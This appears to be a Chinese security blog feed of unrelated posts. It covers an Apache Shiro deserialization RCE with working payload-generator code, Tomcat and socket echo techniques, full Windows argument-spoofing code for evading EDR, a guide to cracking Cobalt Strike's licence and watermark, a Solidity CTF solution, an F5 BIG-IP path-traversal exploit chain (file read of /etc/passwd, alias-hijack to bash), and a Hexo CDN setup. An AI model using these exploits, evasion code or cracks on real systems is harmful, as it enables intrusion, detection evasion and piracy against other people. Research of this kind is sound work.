2021年12月5日 GMT+8 下午12:00 | 限制JNDI | LOG4J2-3201 - Limit the protocols JNDI can use by default. Limit the servers and classes that can be accessed via LDAP. |
2021年12月5日 GMT+8 下午3:20 | 默认nolookup | LOG4J2-3198 - Log4j2 no longer formats lookups in messages by default |
2021年12月10日 GMT+8 上午2:18 | 修复rc1异常绕过 | Handle URI exception |
2021年12月12日 GMT+8 上午7:05 | 默认禁用JNDI | LOG4J2-3208 - Disable JNDI by default |
2021年12月13日 GMT+8 下午1:32 | 删除Message Lookups | LOG4J2-3211 - Remove Messge Lookups (开发急的…英文都打错了) |
看有说要注意 log4j 一代可能也有安全问题,翻了下源码感觉实在没什么可说的,这么显式的lookup下还能出问题,纯属开发背锅
]]>使用 docker hub 已有的漏洞环境,IDEA 配置 Remote Debug
> docker pull medicean/vulapps:s_shiro_1> docker run -d -p 8080:8080 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" medicean/vulapps:s_shiro_1
拉取源码
> git clone https://github.com/apache/shiro.git> git checkout shiro-root-1.2.4
原因是因为在 org.apache.shiro.mgt.AbstractRememberMeManager 中有定义以下内容,导致攻击者利用默认密码实现反序列化RCE
序列化对象需要继承 PrincipalCollection (实际非必须,下文有解释)
设置加密方式为 AES/CBC/PKCS5Padding,具体可在org.apache.shiro.crypto.DefaultBlockCipherService#DefaultBlockCipherService中查看
硬编码默认加密密钥 DEFAULT_CIPHER_KEY_BYTES
当用户登陆成功并且选择rememberme的时候,会进入org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 保存新的验证信息
接着在rememberIdentity函数中,先通过getIdentityToRemember获取到用户标志信息
Returns all principals associated with the corresponding Subject. Each principal is an identifying piece of information useful to the application such as a username, or user id, a given name, etc - anything useful to the application to identify the current Subject.
再进入同名方法rememberIdentity中,这里首先通过convertPrincipalsToBytes将用户信息转换成 byte 数组,后进行保存
我们来看convertPrincipalsToBytes,先进行序列化后再进行加密,我们重点关注加密算法
在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 中调用 AES 类进行加密
实际是调用org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])
和encrypt(byte[], byte[], byte[], boolean)
,可以看到在最后是把 iv 放在 crypt 加密后的数据内容前,再整体返回
最后进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity,对信息 base64编码后存放入 cookie
当用户携带 rememberMe cookie 进行访问时,会进入org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
调用子类CookieRememberMeManager#getRememberedSerializedIdentity提取 cookie,首先判断非 deleteMe 且进行 base64 尾部检测填充后,返回有效 cookie 回到 AbstractRememberMeManager
之后在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals中,尝试解密和反序列化
解密位于org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
最后由org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])和decrypt(byte[], byte[], byte[])实现解密,整个流程都很常规,主要关注是从 cookie 头16位字节数据为 iv
只能快速判断是否使用 shiro
当我们输入一个无效的 rememberMe cookie 时会因无法解密或反序列化触发异常进入org.apache.shiro.mgt.AbstractRememberMeManager#onRememberedPrincipalFailure
之后进入org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)
最后调用org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法添加 cookie rememberMe=deleteMe
主要利用正常解密后的反序列化利用,但反序列化的前提是要使用正确的 key 实现正常解密
从上面无效 rememberMe一节中我们还可以知道
那么只要保证序列化对象的有效性,就可以通过上面的差异来实现匹配 Key
因为序列化对象需要继承PrincipalCollection,所以我们主要关注SimplePrincipalMap、SimplePrincipalCollection
简单写个脚本用于生成 payload
import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.io.DefaultSerializer;import org.apache.shiro.io.Serializer;import org.apache.shiro.subject.PrincipalCollection;import org.apache.shiro.subject.SimplePrincipalMap;import org.apache.shiro.util.ByteSource;public class generate { public static void main(String[] args) { Serializer<PrincipalCollection> serializer = new DefaultSerializer<PrincipalCollection>(); SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap(); System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(simplePrincipalMap))); } private static String encrypt(String key, byte[] objectBytes) { byte[] keyDecode = Base64.decode(key); AesCipherService cipherService = new AesCipherService(); ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode); byte[] value = byteSource.getBytes(); return new String(Base64.encode(value)); }}
Key 匹配 | Key 不匹配 |
---|---|
实际也是利用反序列化,只是简单的向外请求解析域名,但是很多人都喜欢用这个,所以单独列出来
XXXLog 平台如果提供有 API 就可以自动化检测,但毕竟此方法受太多客观因素影响,不建议
我们刚才提到了,序列化对象需要继承PrincipalCollection,那么这是必要的么?如果能没有这层限制,是否能利用其他 gadget 进而实现 RCE
我们关注到org.apache.shiro.mgt.AbstractRememberMeManager#deserialize,这里最后调用的是org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,只是在 return 时会强制转化为PrincipalCollection类型对象
所以我们可以使用其他 gadget 执行攻击,例如 ysoserial 系列
import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.io.DefaultSerializer;import org.apache.shiro.io.Serializer;import org.apache.shiro.util.ByteSource;import ysoserial.payloads.CommonsCollections2;public class poc { public static void main(String[] args) throws Exception { Serializer<Object> serializer = new DefaultSerializer<>(); Object obj = new CommonsCollections2().getObject("<Exec Command>"); System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(obj))); } private static String encrypt(String key, byte[] objectBytes) { byte[] keyDecode = Base64.decode(key); AesCipherService cipherService = new AesCipherService(); ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode); byte[] value = byteSource.getBytes(); return new String(Base64.encode(value)); }}
这里可能会有人提到,为什么很多 cc gadget 无法使用呢?简单跟一个 cc4,会发现报错提示找不到org.apache.commons.collections4.Transformer
,而 shiro 1.2.4 默认使用的 commons-collections4-4.0.jar 理论上是可以的利用的,报错原因在哪里?
我们回到反序列化最开始的地方org.apache.shiro.io.DefaultSerializer#deserialize,注意这里调用的是ClassResolvingObjectInputStream.readObject()
ClassResolvingObjectInputStream继承自ObjectInputStream但重写了 resolveClass,最大的不同在于加载方式
- | ClassResolvingObjectInputStream | ObjectInputStream |
---|---|---|
代码 | ||
加载 | ClassUtils.forName 实际 ClassLoader.loadClass | Class.forName |
代码 |
那么两种加载方式的区别是什么?这里可先详细阅读这篇文章:ClassUtils详解
- | ClassLoader.loadClass | Class.forName |
---|---|---|
1 | 获取指定的 classLoader | 自动获取 classLoader |
2 | 只能将类加载到 JVM | 可加载到 JVM 并初始化 (ObjectInputStream中设置为 false 未初始化) |
还是没搞懂问题出自哪里,另网上有提及的一处区别(注意!有问题!)
是否会解析数组类型
1)Class.forName会解析数组类型,如[Ljava.lang.String;
2)ClassLoader不会解析数组类型,加载时会抛出ClassNotFoundException;
但是经测试WebAppClassLoader是有能力解析数组的
最后发现关键点在于org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String, boolean),在调用 Class.forName 时指定从父类向上搜寻,导致找不到[Lorg.apache.commons.collections4.Transformer;
类
参数 | parent | this |
---|---|---|
ClassLoader | URLClassLoader | WebappClassLoader |
测试 |
关于WebappClassLoader与其他 ClassLoader 可详细阅读此篇文章:图解Tomcat类加载机制
- WebappClassLoader:各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见
- tomcat 为了实现隔离性,没有遵守双亲委派这个约定,每个webappClassLoader加载自己的目录下的class文件,不会传递给父类加载器
而commons-collections4-4.0.jar
位于 webapp 中项目 /WEB-INF/lib 下,在没有其他额外配置 CLASSPATH 的情况时,默认只有 WebappClassLoader 才能加载
所以 Tomcat 为什么搜索指定父类开始?这个设计就很迷🤔🤔🤔
在遇到几次目标后,会发现有的设备是不出网的,哪怕碰撞出了 key 也不清楚是否正常执行了命令,这时候回显的能力就很重要
因为对回显没有研究,看了其他师傅的文章,按照00theway师傅讲的,目前公开的大概有以下几种方式获取结果:
利用效果比较好的有以下两个,前者适用 Linux/Windows Tomcat,后者适用 Linux 各类场景,各有优势,按场景利用
编译 java-object-searcher 为 jar,方便引用
$> mvn clean package -Dmaven.test.skip=true
拉取 Tomcat (非源码),创建一个 Tomcat 项目,并自行创建一个 Servlet 用于断点调试
测试 Tomcat 8.0.39 环境下实际只有一条 gadget
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [5] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo} ---> processors = {java.util.ArrayList} ---> [0] = {org.apache.coyote.RequestInfo} ---> req = {org.apache.coyote.Request}
在这里又遇到了 cookie 过大的情况,解决方法请看这篇缩小ysoserial payload体积的几个方法
使用 javassist 加载目标类,导致体积过大
pool.insertClassPath(new ClassClassPath(TomcatEcho.class));CtClass clazz = pool.get(TomcatEcho.class.getName());
转变为使用 javassist 直接创建类
我这里只是实现 Demo,没有对各个 Tomcat 版本以及 CC gadget 做兼容,这位师傅实现对利用链更广泛的兼容:Shiro RememberMe 漏洞检测的探索之路
基于 Linux 万物皆文件的性质,对于每一个链接 socket 都有其对应的文件描述符,通过直接向文件描述符写入内容实现回显
有部分文章使用是尝试通过 IP、PORT 进行过滤获取 inode 值后,再获取 fd 写入,这个方法有一个很大的问题在于如果目标位于负载、代理之后的复杂网络,是没有办法筛选出有效的请求源,导致方法失败
所以我采用通过获取所有有效 inode 值,再获取 fd 组,统一尝试写入,突破复杂网络,实现回显😈
首先了解下 /proc/self/net/tcp
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.henum { TCP_ESTABLISHED = 1, TCP_SYN_SENT, TCP_SYN_RECV, TCP_FIN_WAIT1, TCP_FIN_WAIT2, TCP_TIME_WAIT, TCP_CLOSE, TCP_CLOSE_WAIT, TCP_LAST_ACK, TCP_LISTEN, TCP_CLOSING, /* Now a valid state */ TCP_NEW_SYN_RECV, TCP_MAX_STATES /* Leave at the end! */};
关注到 connection state 标志,通过判断是否为1就可以筛选正在传输的 socket 的 inode 值
之后通过筛选 /proc/self/fd 中 socket[
下面是我用来筛选的语句 Orz
$ > inode=`cat /proc/net/tcp|tail -n +2|awk '{if($4=="01")print}'|awk '{print $10}'`;for i in $inode; do fd=`ls -l /proc/$PPID/fd|grep socket|grep $i|awk '{print $9}'`; if [ ${#fd} -gt 0 ]; then echo -n $fd-;fi;done;$ > 97-57-
原本是想通过全部由 JAVA 原生代码实现,结果发现生成的 Payload 长度超出了 Cookie or Header Length 限制,除非另利用 gadget 去修改,否则会触发 ERROR 400,后面发现用 shell 直接过滤 fd 更方便快捷
看 youtube 视频介绍,此攻击原本是为了对抗 EDR 检测或延迟 AV 查杀的手段
原理很简单,通过设置CREATE_SUSPENDED挂起进程启动,再通过PEB修改ProcessParameters中实际将要执行的命令字符串,最后ResumeThread恢复进程 → 暗度陈仓
在实现时,延伸出来两个小问题(技巧)
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
在CreateProcessA函数中我们关注到lpCommandLine和dwCreationFlags
在流程创建标志
中多个标记使用|(或)运算
叠加,有以下几个常数值需要关注
常数/值 | 描述 |
---|---|
CREATE_NEW_CONSOLE 0x00000010 | 新进程具有一个新的控制台,而不是继承其父级的控制台(默认)。有关更多信息,请参见创建控制台。 该标志不能与DETACHED_PROCESS一起使用。 |
CREATE_NO_WINDOW 0x08000000 | 该过程是一个没有控制台窗口即可运行的控制台应用程序。因此,未设置应用程序的控制台句柄。 如果该应用程序不是控制台应用程序,或者与CREATE_NEW_CONSOLE或DETACHED_PROCESS一起使用,则将忽略此标志。 |
CREATE_SUSPENDED 0x00000004 | 新进程的主线程在挂起状态下创建,并且直到调用ResumeThread函数才运行。 |
以下试图创建一个进程并挂起,我们接下来将修改此进程
STARTUPINFOA si;PROCESS_INFORMATION pi;CreateProcessA( NULL, "cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi);
首先看在 PEB 结构,我们主要关注 ProcessParameters
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId;} PEB, *PPEB;
PRTL_USER_PROCESS_PARAMETERS 结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine;} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
UNICODE_STRING 类型结构体
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;
在上面通过创建并挂起进程后,接下来我们将通过NtQueryInformationProcess来获取 PEB 地址,这个函数未公开所以需要GetProcAddress从 DLL 中检索出函数地址
typedef NTSTATUS (*NtQueryInformationProcess)( IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);NtQueryInformationProcess ntip = (NtQueryInformationProcess)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");PROCESS_BASIC_INFORMATION pbi;DWORD retLen;ntpi( pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
通过 PEB 标记的地址,使用ReadProcessMemory
读取目标进程的 PEB 信息
PEB pebLocal;BOOL success;success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
进一步获取ProcessParameters结构体信息
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) { SIZE_T bytesRead; char* alloc; alloc = (char*)malloc(bytes); if (alloc == NULL) { return NULL; } if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { free(alloc); return NULL; } return alloc;}RTL_USER_PROCESS_PARAMETERS* parameters;parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory( pi.hProcess, pebLocal.ProcessParameters, sizeof(RTL_USER_PROCESS_PARAMETERS));
接下来便是修改ProcessParameters中的CommandLine,其对应类型为UNICODE_STRING
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) { SIZE_T bytesWritten; if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { return false; } return true;}success = writeProcessMemory( pi.hProcess, parameters->CommandLine.Buffer, (void*)L"cmd.exe /k dir\0", 30);
作者提到类似ProcessExplorer工具会检索PEB副本,导致隐藏参数失败,注意到_RTL_USER_PROCESS_PARAMETERS中的CommandLine参数为_UNICODE_STRING类型
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;
当设置Length < sizeof(Buffer)
时,对于ProcessHacker和ProcessExplorer,都会终止显示Length字节后面的字符串,但同时并不影响进程的运行
ProcessExplorer | ProcessMonitor |
---|---|
长度限制 | 命令隐藏 |
#include <iostream>#include <windows.h>#include <winternl.h>#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"typedef NTSTATUS(*NtQueryInformationProcess2)( IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG );void* readProcessMemory(HANDLE process, void* address, DWORD bytes) { SIZE_T bytesRead; char* alloc; alloc = (char*)malloc(bytes); if (alloc == NULL) { return NULL; } if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { free(alloc); return NULL; } return alloc;}BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) { SIZE_T bytesWritten; if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { return false; } return true;}int main(int argc, char** canttrustthis){ STARTUPINFOA si; PROCESS_INFORMATION pi; CONTEXT context; BOOL success; PROCESS_BASIC_INFORMATION pbi; DWORD retLen; SIZE_T bytesRead; PEB pebLocal; RTL_USER_PROCESS_PARAMETERS* parameters; printf("Argument Spoofing Example by @_xpn_\n\n"); memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); // Start process suspended success = CreateProcessA( NULL, (LPSTR)CMD_TO_SHOW, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); if (success == FALSE) { printf("[!] Error: Could not call CreateProcess\n"); return 1; } // Retrieve information on PEB location in process NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); ntpi( pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen ); // Read the PEB from the target process success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); if (success == FALSE) { printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); return 1; } // Grab the ProcessParameters from PEB parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory( pi.hProcess, pebLocal.ProcessParameters, sizeof(RTL_USER_PROCESS_PARAMETERS) + 300 ); // Set the actual arguments we are looking to use WCHAR spoofed[] = CMD_TO_EXEC; success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed)); if (success == FALSE) { printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n"); return 1; } /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer ///////// // Update the CommandLine length (Remember, UNICODE length here) DWORD newUnicodeLen = 28; success = writeProcessMemory( pi.hProcess, (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), (void*)&newUnicodeLen, 4 ); if (success == FALSE) { printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n"); return 1; } // Resume thread execution*/ ResumeThread(pi.hThread);}
同这篇文章一起的还有父进程ID欺骗,这两个手段结合一起生成一个易用 exe 应该是很有效的红队手段,比如随机生成伪装命令、自动伪装,这样在来不及清理历史记录的情况下也能延缓蓝队的步伐…
但是奈何不会 c++,先留个坑
中间测试了 netlify,开始对它速度不是很满意,但之后测试了几个还是回到了它,Orz
最终配合利用各种手段还算是达到了收费 CDN 的效果(有项目体量限制)🤣
建议jsdelivr只做 JS、CSS 加速就好,毕竟好用的公共库用一个少一个
选择访问 github 仓库
选择 github page 项目
因为上传至github page为静态页面不需要编译,这里选择直接部署即可
配置 netlify 域名解析
这里正常情况 primary domain 应为绿色表示正常状态
,但由于开启了 cloudflare cdn 导致 DNS 检测异常,检测能正常访问忽略此警告
配置SSL/TLS证书
由于我在 Netlify 前面使用 CloudFlare CDN,所以需要配合 CF 进行证书认证,非 CF 可以尝试右边的Let's Encrypt
证书(这里我已经添加了证书,所以选择更新自定义内容证书)
i. 先在 CF 创建源证书
ii. 之后生成 PEM 格式密钥,记录源证书为 1,私钥为 2
iii. 访问此页面(管理 Cloudflare Origin CA 证书),记录根证书为 3
iv. 回到 Netlify,按上面对应序号填写证书内容后保存
配置 CNAME 指向 Netlify 自定义域名,并开启 CDN 加速
选择加密模式为完全
或完全(严格)
开启Always HTTPS
和 HSTS
项目地址:https://github.com/Troy-Yang/hexo-lazyload-image
按文档安装、配置即可
$ npm install hexo-lazyload-image --save
由于jsdelivr自带 50M 项目限制,所以全局加速是不现实的(此处项目较小的可以全局使用),建议只加速 JS、CSS 即可,下面只做理论介绍
官网:https://www.jsdelivr.com/?docs=gh
由于我配置了 hexo-lazyload-image,所以直接粗暴的修改源码(这里只对应 posts 文章内的静态资源),代价就是本地测试没法加载图片,有能力的可以写个测试和发布分别加载不同地址即可
位置:<blog_path>/node_modules/hexo-asset-image/index.js
对应其他静态文件,如头像、二维码等,直接修改成绝对地址即可(不利于长期维护)
P.S. 其实可以自定义在 config 中自定义一个开关和加载路径方便未来维护,这里有插件hexo-cdn-jsdelivr实现,本地测试没有问题但是generate时总会出错,可能和其他插件有冲突,我暂时没有去仔细研究
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
由于到手的非原版,可能有些错误的地方、没有破解到的位置,欢迎各位师傅指正~~
位置:common.License#isTrial
作用:验证是否为试用版
方式:直接修改返回为false
修改前 | 修改后 |
---|---|
位置:common.Authorization#Authorization
作用:验证是否超出许可时间
方式:直接修改this.validto
为forever
修改前 | 修改后 |
---|---|
位置:common.Authorization
作用:用于添加用户水印(暗桩)
方式:在读取语句后赋值 watermask ∈ (0, 65535)
修改前 | 修改后 |
---|---|
水印举例:生成 x86-64 c shellcode 时候末尾 4 字节
位置:beacon.BeaconData#shouldPad
作用:在beacon.BeaconC2#BeaconC2
中引用,将 beacon 存活 30 分钟后强制下线
方式:修改this.shouldPad
为false
修改前 | 修改后 |
---|---|
位置:common.ArtifactUtils#XorEncode
作用:用于shellcode混淆
方式:需检查resources
中存在有xor.bin
、xor64.bin
,没有bin文件版本直接返回即可
修改前 | 修改后 |
---|---|
common.BaseArtifactUtils#_patchArtifact
License.isTrial()
控制修改前 | 修改后 |
---|---|
common.ListenerConfig#pad
common.Authorization#watermark
控制修改前 | 修改后 |
---|---|
基本受 isTrial 影响,建议按上述信息修改 isTrial 逻辑
受影响文件:
基本受 watermask 影响,建议按上述信息修改 watermask
受影响文件:
位置:common.Authorization
作用:验证 auth 文件有效性标志
修改:如若 auth 有效(存在、生成),则无需改动;或直接修改初始化值为 true
修改前 | 修改后 |
---|---|
位置:common.AuthUtil
作用:读取 auth 文件中身份内容
方式:到手的代码好像被改动了,没有看到引用这个类的地方,导致不知道到底作用于哪里,尤其是licensekey
(试)修改前 | (试)修改后 |
---|---|
pragma solidity ^ 0.4 .24;contract Hash { bytes32 question = ""; struct Game { bytes32 slogan; address owner; uint96 times; address player; bool ready; } Game game; modifier onlyOwner() { require(msg.sender == game.owner, "Illegal user!"); _; } modifier onlyPlayer() { require(msg.sender == game.player, "Illegal user!"); _; } constructor(string hash) public { question = keccak(hash); game.slogan = "Welcome to imagin's Hash World!"; game.owner = msg.sender; } function getFlag() view public returns(bool) { return (game.times == 43856731668828204536206669571); } function play() public { require(game.player == address(0), "Have been played!"); game.player = address(msg.sender); } function guessHash(string answer) public onlyPlayer payable returns(string) { game.player = msg.sender; require(msg.value > 0.1 ether, "Get yourself rich first."); require(game.ready); game.ready = false; require(isMan(), "You should be real man."); if (keccak(answer) == question) { game.times++; return "Congratulations, you're right~"; } else { game.times--; return "Oops, you lost your chance (-1s)."; } } function changeSlogen(bytes32 slogan) public { Game a; a.slogan = slogan; game = a; } function nextHash(string hash) public onlyOwner { question = keccak256(hash); game.ready = true; } function keccak(string str) internal pure returns(bytes32) { return keccak256(str); } function getSlogan() view public returns(bytes32) { return game.slogan; } function isMan() internal view returns(bool) { uint size; assembly { size: = extcodesize(caller) } return (size == 0); } // 方便调试,原题目以下函数不存在 function getquestion() view public returns(bytes32) { return question; } function getTime() view public returns(uint96) { return game.times; } function getOwner() view public returns(address) { return game.owner; }}
注意到,题目提供了
changeSlogen
、guessHash
、nextHash
play
、getFlag
首先我们看 getFlag 方法,最终目标是让它返回 true,而对应的目标 times 为
43856731668828204536206669571(10) == 8db5702bac41153c09c73703(16)
这个 times(次数) 是通过 guessHash 进行调整的,但是根本不可能在有限时间内通过循环操作来达到,尤其是这个函数还有onlyPlayer payable修饰,另外内部还有 isMan 的合约调用检测,只能手工来操作实现
我们抛开题目,先来看下guessHash的代码逻辑,可以看到通过一堆检测后,其主要内容就是实现对answer和question的等值判断,之后对 times 进行 +- 操作
function guessHash(string answer) public onlyPlayer payable returns(string) { game.player = msg.sender; require(msg.value > 0.1 ether, "Get yourself rich first."); require(game.ready); game.ready = false; require(isMan(), "You should be real man."); if (keccak(answer) == question) { game.times++; return "Congratulations, you're right~"; } else { game.times--; return "Oops, you lost your chance (-1s)."; }}
粗略想想,应该有两种解题方向
上面提到无法通过合约爆破形式使 times 暴增,而且题目实际上同时几个人在做,如果中间有人参一脚修改了 times同时攻击者有没有发觉,则会导致前功尽弃,难以控制
那我们只能看第二种方法能否实现
我们向 changeSlogen 传入0x0000111122223333444455556666777788889999aaaabbbbccccddddeeeeffff
来观察下结构体值的变化,可以看到所有值全部被修改了
尤其注意此时 times 为 80596284442678810400085(10) == 11112222333344445555(16)
调用前 | 调用后 |
---|---|
根据占位符,我们可以快速确定如何填充数据,通过修改 times 然后进行 +- 操作就可以完成解题了
0x8db5702bac41153c09c737040000000000000000000000000000000000000000
,修改 times 为 43856731668828204536206669572(10)任意值
导致 times - 1题目地址:0x299DfDB000C6c0131D4cEe84348e6B5Fb656Fff8
]]>从通告中可以明确几个点
..;
路径穿透 -> Apache Tomcat虚拟机中提取源码并简单分析后可以确定jsp对应class位于
# 相对路径/www/tmui/WEB-INF/classes/org/apache/jsp/tmui# 绝对路径/usr/local/www/tmui/WEB-INF/classes/org/apache/jsp/tmui
最后在 locallb/workspace 中可以看到有以下几个关键类
class | jsp path | feature | parameter |
---|---|---|---|
create_jsp.class | /tmui/locallb/workspace/list.jsp | 创建 jsp 文件 | |
dbquery_jsp.class | /tmui/locallb/workspace/dbquery.jsp | 查询数据库 | query object column |
directoryList_jsp.class | /tmui/locallb/workspace/directoryList.jsp | 列目录 | directoryPath |
fileRead_jsp.class | /tmui/locallb/workspace/fileRead.jsp | 读文件 | fileName |
fileSave_jsp.class | /tmui/locallb/workspace/fileSave.jsp | 写文件 | fileName content |
import_jsp.class | /tmui/locallb/workspace/import.jsp | 加载 jsp 文件 | |
list_jsp.lass | /tmui/locallb/workspace/list.jsp | 列数据库信息 | |
properties_jsp.class | /tmui/locallb/workspace/properties.jsp | 参数设定 | pageType properties |
settings_jsp.class | /tmui/locallb/workspace/settings.jsp | 列举参数信息 | |
tmshCmd_jsp.class | /tmui/locallb/workspace/tmshCmd.jsp | 命令执行 | command |
对应com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
中的方法实现
在浏览器中直接访问加载这些页面会被重定向,但通过 tomcat 路径穿透可以控制在 tmui 下进行加载
然后这里说下 tmshCmd 执行的问题
在com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand
中执行传入的 command,但限制可用的操作为create
、delete
、list
、modify
四种模块,且由于checkForBadShellCharacters
进行了过滤,需要找到方法跳出限制通过run
模块执行 bash 命令
public static JSONObject runTmshCommand(String command) { F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class); JSONObject resultObject = new JSONObject(); String output = ""; String error = ""; String operation = command.split(" ")[0]; if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) { error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand"); } else { try { String[] args = new String[]{command}; Result result = Syscall.callElevated(Syscall.TMSH, args); output = result.getOutput(); error = result.getError(); } catch (CallException var8) { logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var8.getMessage()); error = var8.getMessage(); } } resultObject.put("output", output); resultObject.put("error", error); return resultObject;}
过滤函数com.f5.form.ShellCommandValidator#checkForBadShellCharacters
public static boolean checkForBadShellCharacters(String value) { char[] cArray = value.toCharArray(); for(int i = 0; i < cArray.length; ++i) { char c = cArray[i]; if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') { return true; } } return false;}
RCE: TMSH 命令参考
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
P.S. 实际这里的 RCE 在没绕过限制之前只是对于 F5 执行部分操作;另外说list auth user admin
返回结果为空,那是因为 admin 处于未登录状态。
LFR:
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
DIR:
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/'
…
来自不知源分享
修改alias劫持list命令为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
写入bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/xxx&content=id
执行bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
